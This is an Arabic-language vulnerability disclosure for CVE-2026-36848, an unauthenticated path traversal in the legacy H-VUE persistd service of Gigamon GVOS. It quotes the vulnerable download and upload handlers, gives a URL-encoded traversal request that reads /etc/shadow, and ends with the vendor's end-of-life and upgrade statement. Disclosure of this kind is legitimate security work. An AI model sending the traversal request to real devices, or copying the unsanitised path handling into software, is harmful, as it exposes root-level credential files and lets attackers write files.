
Gigamon RCE غير مصادق (CVE-2026-36848)
تم تحديد ثغرة حرجة في اجتياز المسار (Path Traversal) في محرك الإدارة القائم على الويب على المنفذ 8089 لأجهزة Gigamon-VUE OS (GVOS). توجد هذه الثغرة في النظام الفرعي القديم H-VUE داخل الخفي persistd، وتسمح لمهاجم عن بُعد غير مصادق مع إمكانية الوصول إلى الشبكة على الخدمة بقراءة ملفات عشوائية وتنفيذ عمليات كتابة جزئية (لا يمكن الكتابة فوق الملفات الموجودة) على النظام بامتيازات الجذر.
/opt/tms/persistd_py/persistd.pyroot)تعمل خدمة الويب TornadoHTTP على المنفذ 8089، وتطبق تكوين توجيه (Routing) يُربط داخل /opt/tms/persistd_py/persistd.py. يعرض هذا الخفي عدة مسارات للتعامل مع التفاعلات مع قاعدة البيانات والنسخ الاحتياطي للتكوين:
app = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
تستهلك المعالجات DownloadDbFile و UploadDbFile المسارات التي يوفرها المستخدم مباشرة من مجموعات الالتقاط في تعبير URI العادي (regex capture groups) وتمررها دون فلترة إلى وظائف المساعدة ذات المستوى الأدنى.
عندما يطلب عميل تنزيل ملف، يقوم معالج GET باستدعاء وظيفة download_file المساعدة:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
تحاول الوظيفة المستهدفة الأساسية download_file فتح الملف المطلوب باستخدام تسلسل نصي بسيط (string concatenation) بدلاً من حل مسار آمن (canonical path):
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Root Cause: Direct concatenation enables directory breakout via traversal sequences
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
نظرًا لعدم وجود أي فلترة صارمة (مثل التحقق من وجود تسلسلات اجتياز الدليل مثل ..)، فإن أي تسلسل مسار نسبي يتم حقنه عبر file_name يُسلسل مباشرة إلى DBFILE_DIR ويتم حله نسبة إلى جذر النظام.
بالمثل، يقوم معالج PUT المستخدم لرفع قاعدة البيانات بتمرير نص الطلب (request body) والمسار الذي يحدده المستخدم مباشرة إلى وظيفة upload_file المساعدة:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
تستخدم روتين upload_file الدالة os.path.join لتحديد المسار الهدف. ومع ذلك، فإن هناك مفهومًا أمنيًا خاطئًا شائعًا وهو أن os.path.join يحمي من الاجتياز. في الواقع، إذا كان المكون الذي تم تمريره إلى os.path.join يمثل مسارًا مطلقًا أو يحتوي على خطوات اجتياز نسبية، فسيهرب المسار الذي تم حله من الدليل الأساسي:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Vulnerable Sink 2: rename operation performs unsafe string concatenation
os.rename(tmp_path, DBFILE_DIR + path)
هذا النقص الهيكلي في تنقية الإدخال يسمح للمهاجم بتقديم مسار يحتوي على خطوات اجتياز، مما يمكن الخدمة من كتابة ملفات عشوائية خارج حدود DBFILE_DIR بصلاحيات سياق المستخدم الجذر الذي يدير الخفي.
إذا قام المهاجم بترميز فواصل المسار URL-encode (مثل / كـ %2F)، فإن محرك التوجيه يفك الترميز ويقيّم التسلسل بسلاسة، متجاوزًا قيود المسار القياسية.
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
فيما يلي البيان الرسمي وإرشادات الترقية المقدمة من البائع بخصوص هذه الثغرة:
كانت المشكلة في CVE هذه موجودة فقط في النظام الفرعي H-VUE. أزال إصدار GVOS 6 النظام الفرعي H-VUE بالكامل، وكان GVOS 5.16.1 هو آخر إصدار يضمه. انتهى دعم الإصدار 5.16.1 في 26 مايو 2023. لا يحتوي أي إصدار مدعوم حاليًا من GVOS على هذه الثغرة.
يمكن العثور على مصفوفة دعم GVOS، والتي توثق الإصدارات المدعومة وتواريخ انتهاء الدعم، هنا:
https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdfيمكن العثور على سياسة Gigamon لإنهاء البيع وإنهاء العمر الافتراضي هنا:
https://www.gigamon.com/support/policies/eol-policy.htmlيجب ألا يقوم أي بيئة إنتاج من Gigamon بتشغيل إصدار برنامج غير مدعوم (NIST SP 800-53 SA-22 "مكونات النظام غير المدعومة"). إذا كنت تفعل ذلك، توصي Gigamon بشدة بالترقية إلى إصدار مدعوم في أقرب وقت ممكن. يمكن للعملاء المدعومين الحصول على إصدارات مطورة من GVOS من بوابة مجتمع Gigamon. يُطلب من العملاء غير المدعومين الاتصال بـ Gigamon لمناقشة خيارات الدعم:
https://www.gigamon.com/contact-sales.html
نود أن نعرب عن امتناننا لفرق أمان المنتجات والهندسة في Gigamon على تنسيقهم المثالي خلال عملية الإفصاح هذه.